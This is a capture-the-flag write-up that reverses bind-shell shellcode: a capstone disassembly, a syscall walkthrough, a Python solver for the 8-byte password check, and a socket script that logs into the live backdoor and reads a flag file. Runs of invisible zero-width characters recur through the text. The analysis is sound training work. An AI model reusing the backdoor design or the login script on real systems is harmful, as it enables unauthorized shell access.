← Back to Writeups
CUSTOMMediumReversing

sec_shell

XESXOR9/10/20264 min read
#reversing#custom#medium#capstone_disassembly#network_exploitation#per_byte_constraint_solving#ror_transform_reversal#syscall_identification#linux

sec_shell

Platform: spbctf | Category: Reversing | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: capstone_disassembly, network_exploitation, per_byte_constraint_solving, ror_transform_reversal, syscall_identification

Summary

Task: 209-byte raw x86-64 Linux bind-shell shellcode with an 8-byte password gate before execve(/bin/sh). Solution: disassemble with capstone, reverse the ror-based per-byte XOR check into a position-independent constraint (K[j]^f(b[j])==T[j]), recover the password *7&d21k$, connect to the live backdoor on TCP 11538 and read the flag.

sec_shell — spbctf

Overview

A raw 209-byte x86-64 Linux shellcode plants a bind-shell backdoor on the compromised host. The backdoor listens on TCP 11538 and gates access with an 8-byte password check before spawning /bin/sh. Reversing the password check yields *7&d21k$; connecting to the live service with that password gives a shell and the flag.

Description

forkbomb.ru was hacked. A strange listening port was noticed: tcp6 0 0 :::11538 :::* LISTEN The malware uses a shellcode to plant a foothold. Shellcode: https://rev-kids20.forkbomb.ru/files/rev/new8/secshell_shellcode.bin Goal: get a shell on the system to prove compromise. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Artifact: secshell_shellcode.bin — 209 bytes, file reports data (raw shellcode, no ELF header).

Recon

The file is a raw code blob, so a normal objdump on macOS is inconvenient (-b binary is unsupported). Disassemble directly with capstone in 64-bit mode:

python
import capstone
data = open('secshell_shellcode.bin', 'rb').read()
md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
for i in md.disasm(data, 0):
    print('%04x: %-24s %s %s' % (i.address, i.bytes.hex(), i.mnemonic, i.op_str))

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Shellcode Analysis

The disassembly reveals a classic bind-shell syscall flow (x86-64 Linux syscall numbers in parentheses):

  1. socket(AF_INET, SOCK_STREAM) — syscall 0x29.
  2. bind() — syscall 0x31. The port is stored in network byte order on the stack, starting at 4444 (0x115c). A retry loop byte-swaps and increments the port (ror bx,8 / inc rbx) until bind() succeeds. This is why the observed port drifted to 11538 — lower ports were already taken, so the loop kept incrementing.
  3. listen() — syscall 0x32.
  4. accept() — syscall 0x2b.
  5. read() — syscall 0. Reads exactly 8 bytes from the client into rbx (the password).
  6. Password check (see below). On failure → exit(0) (syscall 0x3c).
  7. On success → dup2() the client socket onto fd 0/1/2 (syscall 0x21, loop rsi = 2..0), then execve("//bin/sh", NULL, NULL) — syscall 0x3b. rdi points to //bin/sh, pushed on the stack as the qword 0x68732f6e69622f2f. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Syscall flow summary

StepSyscallNumber
socketsys_socket0x29
bindsys_bind0x31
listensys_listen0x32
acceptsys_accept0x2b
readsys_read0x00
failsys_exit0x3c
dup2sys_dup20x21
shellsys_execve0x3b

Password Recovery

Read 8 bytes → rbx. Two constants are baked into the shellcode:

  • K = 0x3546364654acbbc7
  • TARGET = 0x11d2f874308a73ed ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The check loops 8 times. Each iteration rotates both registers by 8 bits in lockstep (ror rbx,8, ror rax,8), then mixes the current low byte bl into al:

if (bl & 1):  bl = ~bl;  al ^= bl
else:                    al ^= bl

After the loop, rax must equal TARGET.

Key insight: because rax and rbx rotate together in lockstep, every input byte lines up with a fixed byte of K and a fixed byte of TARGET. The check is therefore position-independent and decomposes into 8 independent per-byte constraints: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

K[j] ^ f(b[j]) == T[j]      where   f(b) = (~b & 0xFF) if (b & 1) else b

Solving each byte independently:

python
K = 0x3546364654acbbc7
TARGET = 0x11d2f874308a73ed
Kb = [(K >> (8 * i)) & 0xFF for i in range(8)]
Tb = [(TARGET >> (8 * i)) & 0xFF for i in range(8)]

res = []
for j in range(8):
    want = Kb[j] ^ Tb[j]
    for b in range(256):
        fb = ((~b) & 0xFF) if (b & 1) else b
        if fb == want:
            res.append(b)
            break
print(bytes(res))   # b'*7&d21k$'

Recovered password: *7&d21k$ (re-simulating the original check confirms it produces TARGET). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Exploitation

forkbomb.ru resolves to 109.233.56.90. Connect to the live bind-shell on 11538, send the 8-byte password, then drive the resulting /bin/sh:

python
import socket, time
s = socket.socket(); s.settimeout(8); s.connect(('forkbomb.ru', 11538))
s.sendall(b'*7&d21k$'); time.sleep(0.5)
s.sendall(b'cat /app/flag.txt\n'); time.sleep(1.5)
print(s.recv(4096).decode())

The shell runs as uid=65534 (nobody). The flag was at /app/flag.txt. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍